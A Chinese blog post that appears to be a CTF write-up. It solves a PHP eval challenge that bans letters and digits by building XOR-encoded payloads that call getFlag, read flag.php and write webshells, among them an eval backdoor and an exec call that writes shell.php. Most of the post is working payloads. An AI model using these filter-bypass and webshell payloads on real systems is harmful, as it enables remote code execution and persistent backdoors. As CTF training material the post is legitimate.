纯符号shell的学习

一道ctf题,看了其他大师傅的payload才搞懂了。后来试图绕过40字符写入webshell,走了一些弯路,最后只构造出一种37个字符的payload,记录一下。

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

题目考察PHP语言中的动态变量和可变函数、字符转化绕过

payload:

1
     202.112.51.184:20001/?code=$_="`{ {{:^"?<>/";$${$_}[_]();

服务器解析读取变量:

1
2
3
$_GET['code']=$_="`{{{"^"?<>/";${$_}[_]();

$_GET[_]=getFlag

执行eval:

字符串异或:

1
$_=_GET;

动态变量:

1
2
3
${$_} == $_GET

${$_}[_] == $_GET[_]

GET开始时读取的变量:

1
2
3
$_GET[_] == getFlag

$_GET[_]() ==getFlag();

另一种payload:

1
$_=(":>/},!'"^"][[;@@@");$_();

同样使用动态变量,只传入一个$_GET值

构造接收POST:

请求:

1
2
3
202.112.51.184:20001/?code=$_="~~`~~"^"!./-*";${$_}[_];

POST:\_=readfile('flag.php')

变量:

1
2
3
$_GET['code'] = $_=_POST;${$_}[_];

$_POST[_] = readfile('flag.php')

执行:

1
2
3
$_ = _POST;

$_POST[_];

尝试写入shell一:

利用代码执行通过php函数写入文件

请求:

1
202.112.51.184:20001/?code=$_="`{ {{"^"?<>/";${$_}[_](${$_}[__],${$_}[___]);&_=fwrite&__=shell.php&___=<?php eval($_GET['a']);

48个字符,解决了PHP函数传参问题

变量:

1
2
3
4
5
6
7
$_GET['code'] = $_="`{ {{"^"?<>/";${$_}[_](${$_}[__],${$_}[___]);

$_GET[_] = fwrite

$_GET[__] = shell.php

$_GET[___] = <?php eval($_GET['a']);

执行:

1
2
3
4
5
$_ = _GET;

$_GET[_]($_GET[__],$_GET[___]);

fwrite('shell.php','<?php eval($_GET['a']);');

尝试写入shell二:

通过代码执行写入shell

请求:

1
202.112.51.184:20001/?code=$_='@)!@'^'%_@,';$__="`{ {{"^"?<>/";${$_}(${$__}[_]);&_=fwrite('shell.php','<?phpeval($_GET['a']);');

49个字符,避免了函数传参问题

执行:

1
eval($_GET[_]);

这里遇到一个php问题:
与phpinfo()等不同,eval()在PHP中并不是作为一个函数而存在,通过可变函数调用eval()会返回undefined function eval()

“https://stackoverflow.com/questions/29707896/undefined-function-eval-php”

尝试写入shell三:

学长说可以构造命令执行,转换思路尝试一波。

换一个PHP函数调用系统命令写入shell

请求:

1
202.112.51.184:20001/?code=$_='@#@@'^'%\[%#';$__="`{ {{"^"?<>/";${$_}(${$__}[_]);&_=echo "<?php phpinfo(); ?>" > shell.php

49个字符

执行:

1
exec($_GET[_]);

尝试写入shell四:

意识到想要缩短code字符串,就得尽量通过code之外的$_GET变量传入参数,依照这个思路构造了出来

payload:

1
202.112.51.184:20001/?code=$_="`{ {{"^"?<>/";${$_}[_](${$_}[__]);&_=exec&__=echo "<?php phpinfo(); ?>" > shell.php

37个字符,我所得到的最优解

url编码后:

1
202.112.51.184:20001/?code=$_=%22`{ {{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=exec&__=echo%20%22%3C?php%20phpinfo();%20?%3E%22%3Eshell.php

变量:

1
2
3
4
5
$_GET['code']= $_="`{ {{"^"?<>/";${$_}\[_](${$_}[__]);

$_GET[_] = exec

$_GET[__] = echo "<?php phpinfo(); ?>" > shell.php

执行:

1
2
3
4
5
$_=_GET;

$_GET[_]($_GET[__]);

exec('echo "<?php phpinfo(); ?>" > shell.php');

梅子酒师傅部署题目时应该还做了二手准备,访问除题目外的页面都返回403,没能拿到shell,不过本地测试成功。

在微信上看到有师傅连下划线都不用就实现了任意代码执行,发现自己跟师傅们的差距还是太大了,在此记录一下菜鸡对这道题的探究过程,作为备忘。

参考:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
,